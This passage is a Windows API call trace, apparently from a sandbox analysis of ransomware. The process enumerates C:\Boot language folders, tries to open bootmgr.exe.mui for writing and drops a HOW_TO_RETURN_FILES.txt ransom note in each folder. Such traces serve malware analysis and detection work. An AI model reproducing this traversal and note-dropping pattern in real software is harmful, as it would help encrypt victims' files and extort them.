dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.501] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.501] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.502] AreFileApisANSI () returned 1 [0076.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.502] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\fr-fr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.502] GetFileType (hFile=0x124) returned 0x1 [0076.503] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.503] AreFileApisANSI () returned 1 [0076.503] GetACP () returned 0x4e4 [0076.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hu-HU", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="hu-HU", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.503] AreFileApisANSI () returned 1 [0076.503] GetACP () returned 0x4e4 [0076.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\hu-HU\\䔠i7ൿł\x04") returned 14 [0076.503] AreFileApisANSI () returned 1 [0076.503] GetACP () returned 0x4e4 [0076.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.503] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.503] AreFileApisANSI () returned 1 [0076.503] GetACP () returned 0x4e4 [0076.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.503] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.503] AreFileApisANSI () returned 1 [0076.503] GetACP () returned 0x4e4 [0076.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.504] CreateFileA (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.504] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.504] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.504] AreFileApisANSI () returned 1 [0076.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.504] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\hu-hu\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.505] GetFileType (hFile=0x124) returned 0x1 [0076.506] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.506] AreFileApisANSI () returned 1 [0076.506] GetACP () returned 0x4e4 [0076.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="it-IT", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="it-IT", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.506] AreFileApisANSI () returned 1 [0076.506] GetACP () returned 0x4e4 [0076.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\it-IT\\䔠i7ൿł\x04") returned 14 [0076.507] AreFileApisANSI () returned 1 [0076.507] GetACP () returned 0x4e4 [0076.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.507] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.507] AreFileApisANSI () returned 1 [0076.507] GetACP () returned 0x4e4 [0076.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.507] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.507] AreFileApisANSI () returned 1 [0076.507] GetACP () returned 0x4e4 [0076.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.507] CreateFileA (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.507] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.507] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.507] AreFileApisANSI () returned 1 [0076.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.508] CreateFileW (lpFileName="C:\\Boot\\it-IT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\it-it\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.508] GetFileType (hFile=0x124) returned 0x1 [0076.509] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.509] AreFileApisANSI () returned 1 [0076.509] GetACP () returned 0x4e4 [0076.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ja-JP", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="ja-JP", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.509] AreFileApisANSI () returned 1 [0076.509] GetACP () returned 0x4e4 [0076.509] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\ja-JP\\䔠i7ൿł\x04") returned 14 [0076.509] AreFileApisANSI () returned 1 [0076.509] GetACP () returned 0x4e4 [0076.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.509] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.509] AreFileApisANSI () returned 1 [0076.509] GetACP () returned 0x4e4 [0076.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.509] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.509] AreFileApisANSI () returned 1 [0076.509] GetACP () returned 0x4e4 [0076.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.509] CreateFileA (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.509] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.509] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.510] AreFileApisANSI () returned 1 [0076.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.510] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\ja-jp\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.510] GetFileType (hFile=0x124) returned 0x1 [0076.522] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.522] AreFileApisANSI () returned 1 [0076.522] GetACP () returned 0x4e4 [0076.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ko-KR", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="ko-KR", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.522] AreFileApisANSI () returned 1 [0076.522] GetACP () returned 0x4e4 [0076.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\ko-KR\\䔠i7ൿł\x04") returned 14 [0076.523] AreFileApisANSI () returned 1 [0076.523] GetACP () returned 0x4e4 [0076.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.523] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.523] AreFileApisANSI () returned 1 [0076.523] GetACP () returned 0x4e4 [0076.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.523] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.523] AreFileApisANSI () returned 1 [0076.524] GetACP () returned 0x4e4 [0076.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.524] CreateFileA (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.524] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.524] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.524] AreFileApisANSI () returned 1 [0076.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.524] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\ko-kr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.524] GetFileType (hFile=0x124) returned 0x1 [0076.525] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.525] AreFileApisANSI () returned 1 [0076.525] GetACP () returned 0x4e4 [0076.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="memtest.exeT", lpUsedDefaultChar=0x37e0f0) returned 11 [0076.525] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.525] AreFileApisANSI () returned 1 [0076.525] GetACP () returned 0x4e4 [0076.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nb-NO", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="nb-NOst.exe", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.525] AreFileApisANSI () returned 1 [0076.525] GetACP () returned 0x4e4 [0076.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\nb-NO\\䔠i7ൿł\x04") returned 14 [0076.526] AreFileApisANSI () returned 1 [0076.526] GetACP () returned 0x4e4 [0076.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.526] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.526] AreFileApisANSI () returned 1 [0076.526] GetACP () returned 0x4e4 [0076.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.526] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.526] AreFileApisANSI () returned 1 [0076.526] GetACP () returned 0x4e4 [0076.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.526] CreateFileA (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.527] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.527] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.527] AreFileApisANSI () returned 1 [0076.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.527] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\nb-no\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.527] GetFileType (hFile=0x124) returned 0x1 [0076.528] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.528] AreFileApisANSI () returned 1 [0076.528] GetACP () returned 0x4e4 [0076.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nl-NL", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="nl-NL", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.528] AreFileApisANSI () returned 1 [0076.528] GetACP () returned 0x4e4 [0076.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\nl-NL\\䔠i7ൿł\x04") returned 14 [0076.528] AreFileApisANSI () returned 1 [0076.528] GetACP () returned 0x4e4 [0076.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.529] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.529] AreFileApisANSI () returned 1 [0076.529] GetACP () returned 0x4e4 [0076.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.529] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.529] AreFileApisANSI () returned 1 [0076.529] GetACP () returned 0x4e4 [0076.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.529] CreateFileA (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.529] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.529] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.529] AreFileApisANSI () returned 1 [0076.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.529] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\nl-nl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.529] GetFileType (hFile=0x124) returned 0x1 [0076.530] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.530] AreFileApisANSI () returned 1 [0076.530] GetACP () returned 0x4e4 [0076.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pl-PL", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="pl-PL", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.530] AreFileApisANSI () returned 1 [0076.530] GetACP () returned 0x4e4 [0076.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\pl-PL\\䔠i7ൿł\x04") returned 14 [0076.531] AreFileApisANSI () returned 1 [0076.531] GetACP () returned 0x4e4 [0076.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.531] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.531] AreFileApisANSI () returned 1 [0076.531] GetACP () returned 0x4e4 [0076.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.531] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.531] AreFileApisANSI () returned 1 [0076.531] GetACP () returned 0x4e4 [0076.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.531] CreateFileA (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.532] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.532] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.532] AreFileApisANSI () returned 1 